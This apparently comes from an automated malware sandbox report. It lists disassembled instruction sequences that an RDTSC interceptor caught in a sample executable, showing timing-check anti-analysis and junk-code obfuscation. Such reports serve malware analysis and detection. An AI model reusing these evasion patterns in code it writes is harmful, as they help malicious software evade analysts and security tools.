Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1311024 second address: 1311036 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1311036 second address: 131103B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1303DB0 second address: 1303DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1303DB4 second address: 1303DDB instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8C1CD203F6h 0x00000008 jmp 00007F8C1CD203FBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F8C1CD203F6h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 1303DDB second address: 1303DFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8C1CD63248h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 131F27A second address: 131F27E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EC2B3 second address: 13EC2B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EC2B8 second address: 13EC2D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20404h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB38D second address: 13EB398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB398 second address: 13EB39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB39C second address: 13EB3A2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB3A2 second address: 13EB3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB3AA second address: 13EB3EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63247h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F8C1CD63246h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8C1CD6323Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB52C second address: 13EB532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB532 second address: 13EB544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c js 00007F8C1CD63236h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB544 second address: 13EB578 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8C1CD203F6h 0x00000008 jc 00007F8C1CD203F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8C1CD20401h 0x00000019 jmp 00007F8C1CD203FFh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB578 second address: 13EB581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB581 second address: 13EB58D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8C1CD203F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB58D second address: 13EB592 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB700 second address: 13EB71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C1CD20408h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EB71D second address: 13EB75B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63249h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007F8C1CD63254h 0x00000010 jmp 00007F8C1CD63248h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EBE8B second address: 13EBE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13EF2D5 second address: 13EF2DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13F208B second address: 13F20A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8C1CD203FEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13F20A3 second address: 13F20A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13F20A7 second address: 13F20D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push edx 0x00000009 jmp 00007F8C1CD203FFh 0x0000000e jmp 00007F8C1CD20402h 0x00000013 pop edx 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pop edx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 13F20D9 second address: 13F20DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0042 second address: 76C0054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD203FEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0054 second address: 76C006B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C006B second address: 76C0088 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8C1CD20402h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0088 second address: 76C0099 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0099 second address: 76C009D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C009D second address: 76C00D1 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8C1CD63240h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ax, di 0x0000000d popad 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov edi, esi 0x00000015 call 00007F8C1CD63242h 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C00D1 second address: 76C00F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20400h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000030h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov al, DBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C00F0 second address: 76C014D instructions: 0x00000000 rdtsc 0x00000002 mov bh, 9Eh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F8C1CD63242h 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e popad 0x0000000f sub esp, 18h 0x00000012 pushad 0x00000013 push edi 0x00000014 pushfd 0x00000015 jmp 00007F8C1CD63248h 0x0000001a sbb ax, 7B28h 0x0000001f jmp 00007F8C1CD6323Bh 0x00000024 popfd 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8C1CD6323Fh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C014D second address: 76C018A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8C1CD20408h 0x00000008 jmp 00007F8C1CD20405h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ax, 3AF5h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C018A second address: 76C021E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F8C1CD6323Fh 0x00000010 jmp 00007F8C1CD63243h 0x00000015 popfd 0x00000016 mov bx, si 0x00000019 popad 0x0000001a xchg eax, ebx 0x0000001b jmp 00007F8C1CD63242h 0x00000020 mov ebx, dword ptr [eax+10h] 0x00000023 pushad 0x00000024 mov eax, 3BEC756Dh 0x00000029 mov esi, 35E7FB69h 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 jmp 00007F8C1CD63244h 0x00000035 push eax 0x00000036 pushad 0x00000037 mov edx, 39F899E4h 0x0000003c popad 0x0000003d xchg eax, esi 0x0000003e jmp 00007F8C1CD63246h 0x00000043 mov esi, dword ptr [762C06ECh] 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push ebx 0x0000004d pop eax 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C021E second address: 76C024F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20402h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C1CD20407h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C024F second address: 76C02F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 call 00007F8C1CD6323Bh 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007F8C1CD641DAh 0x00000015 pushad 0x00000016 mov cx, dx 0x00000019 popad 0x0000001a push eax 0x0000001b jmp 00007F8C1CD63248h 0x00000020 mov dword ptr [esp], edi 0x00000023 pushad 0x00000024 mov bx, cx 0x00000027 mov bx, si 0x0000002a popad 0x0000002b call dword ptr [76290B60h] 0x00000031 mov eax, 75A0E5E0h 0x00000036 ret 0x00000037 pushad 0x00000038 mov bx, cx 0x0000003b pushfd 0x0000003c jmp 00007F8C1CD6323Eh 0x00000041 add eax, 4B157548h 0x00000047 jmp 00007F8C1CD6323Bh 0x0000004c popfd 0x0000004d popad 0x0000004e push 00000044h 0x00000050 jmp 00007F8C1CD63246h 0x00000055 pop edi 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 movsx edx, ax 0x0000005c jmp 00007F8C1CD63246h 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C02F5 second address: 76C033C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C1CD20401h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8C1CD20406h 0x00000016 add cx, 1F98h 0x0000001b jmp 00007F8C1CD203FBh 0x00000020 popfd 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C033C second address: 76C0380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F8C1CD63244h 0x0000000a add al, FFFFFFF8h 0x0000000d jmp 00007F8C1CD6323Bh 0x00000012 popfd 0x00000013 popad 0x00000014 popad 0x00000015 mov dword ptr [esp], edi 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F8C1CD63245h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0380 second address: 76C03A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C1CD203FDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C03A6 second address: 76C03B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD6323Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C03FE second address: 76C0416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD20404h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0416 second address: 76C0489 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d pushad 0x0000000e mov cl, D2h 0x00000010 mov edx, 53BDE1B4h 0x00000015 popad 0x00000016 test esi, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F8C1CD63249h 0x0000001f or cx, 0826h 0x00000024 jmp 00007F8C1CD63241h 0x00000029 popfd 0x0000002a push eax 0x0000002b push edx 0x0000002c pushfd 0x0000002d jmp 00007F8C1CD6323Eh 0x00000032 or eax, 147FF1C8h 0x00000038 jmp 00007F8C1CD6323Bh 0x0000003d popfd 0x0000003e rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0489 second address: 76C0520 instructions: 0x00000000 rdtsc 0x00000002 mov eax, 4F3CEB3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007F8C8B89F60Bh 0x00000010 pushad 0x00000011 mov al, dl 0x00000013 popad 0x00000014 sub eax, eax 0x00000016 pushad 0x00000017 push ebx 0x00000018 jmp 00007F8C1CD20400h 0x0000001d pop eax 0x0000001e pushfd 0x0000001f jmp 00007F8C1CD203FBh 0x00000024 sbb ch, 0000006Eh 0x00000027 jmp 00007F8C1CD20409h 0x0000002c popfd 0x0000002d popad 0x0000002e mov dword ptr [esi], edi 0x00000030 jmp 00007F8C1CD203FEh 0x00000035 mov dword ptr [esi+04h], eax 0x00000038 pushad 0x00000039 call 00007F8C1CD203FEh 0x0000003e pushad 0x0000003f popad 0x00000040 pop ecx 0x00000041 mov eax, edx 0x00000043 popad 0x00000044 mov dword ptr [esi+08h], eax 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F8C1CD20405h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0520 second address: 76C0526 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0526 second address: 76C052C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C052C second address: 76C0547 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+0Ch], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F8C1CD6323Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0547 second address: 76C0556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C06AF second address: 76C0766 instructions: 0x00000000 rdtsc 0x00000002 movsx edx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F8C1CD63248h 0x0000000d sub eax, 246BD898h 0x00000013 jmp 00007F8C1CD6323Bh 0x00000018 popfd 0x00000019 popad 0x0000001a mov eax, dword ptr [ebx+58h] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F8C1CD63244h 0x00000024 or al, FFFFFFF8h 0x00000027 jmp 00007F8C1CD6323Bh 0x0000002c popfd 0x0000002d jmp 00007F8C1CD63248h 0x00000032 popad 0x00000033 mov dword ptr [esi+1Ch], eax 0x00000036 pushad 0x00000037 movzx esi, bx 0x0000003a mov bx, 3B6Eh 0x0000003e popad 0x0000003f mov eax, dword ptr [ebx+5Ch] 0x00000042 jmp 00007F8C1CD63245h 0x00000047 mov dword ptr [esi+20h], eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F8C1CD63248h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0766 second address: 76C0775 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0775 second address: 76C078D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C1CD63244h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C078D second address: 76C0791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0791 second address: 76C083F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+60h] 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8C1CD63243h 0x00000013 sbb ecx, 73909C3Eh 0x00000019 jmp 00007F8C1CD63249h 0x0000001e popfd 0x0000001f mov di, ax 0x00000022 popad 0x00000023 popad 0x00000024 mov dword ptr [esi+24h], eax 0x00000027 jmp 00007F8C1CD63249h 0x0000002c mov eax, dword ptr [ebx+64h] 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F8C1CD63243h 0x00000038 add ecx, 4CE1DBAEh 0x0000003e jmp 00007F8C1CD63249h 0x00000043 popfd 0x00000044 call 00007F8C1CD63240h 0x00000049 pop ecx 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C083F second address: 76C0892 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD20400h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+28h], eax 0x0000000c jmp 00007F8C1CD20400h 0x00000011 mov eax, dword ptr [ebx+68h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F8C1CD203FDh 0x0000001d and cx, 9BF6h 0x00000022 jmp 00007F8C1CD20401h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0892 second address: 76C08BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+2Ch], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C1CD63247h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C08BE second address: 76C08C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C08C4 second address: 76C096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD6323Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ax, word ptr [ebx+6Ch] 0x0000000f jmp 00007F8C1CD63246h 0x00000014 mov word ptr [esi+30h], ax 0x00000018 jmp 00007F8C1CD63240h 0x0000001d mov ax, word ptr [ebx+00000088h] 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F8C1CD6323Eh 0x0000002b adc ah, 00000038h 0x0000002e jmp 00007F8C1CD6323Bh 0x00000033 popfd 0x00000034 pushfd 0x00000035 jmp 00007F8C1CD63248h 0x0000003a add si, FE98h 0x0000003f jmp 00007F8C1CD6323Bh 0x00000044 popfd 0x00000045 popad 0x00000046 mov word ptr [esi+32h], ax 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007F8C1CD63245h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C096F second address: 76C0975 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0975 second address: 76C0979 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0979 second address: 76C099B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+0000008Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov ah, E4h 0x00000013 call 00007F8C1CD203FDh 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C099B second address: 76C0A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, ch 0x00000005 call 00007F8C1CD63249h 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esi+34h], eax 0x00000011 jmp 00007F8C1CD63247h 0x00000016 mov eax, dword ptr [ebx+18h] 0x00000019 jmp 00007F8C1CD63246h 0x0000001e mov dword ptr [esi+38h], eax 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov ah, bh 0x00000026 jmp 00007F8C1CD63246h 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0A0F second address: 76C0A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD203FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c jmp 00007F8C1CD20406h 0x00000011 mov dword ptr [esi+3Ch], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ecx, edx 0x00000019 mov ecx, edx 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0A42 second address: 76C0A74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C1CD63242h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+20h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8C1CD63247h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\mBr65h6L4w.exeRDTSC instruction interceptor: First address: 76C0A74 second address: 76C0AB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C1CD203FFh 0x00000008 mov eax, 036BB63Fh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esi+40h], eax 0x00000013 jmp 00007F8C1CD20402h 0x00000018 lea eax, dword ptr [ebx+00000080h] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 call 00007F8C1CD203FCh 0x00000026 pop esi 0x00000027 rdtsc
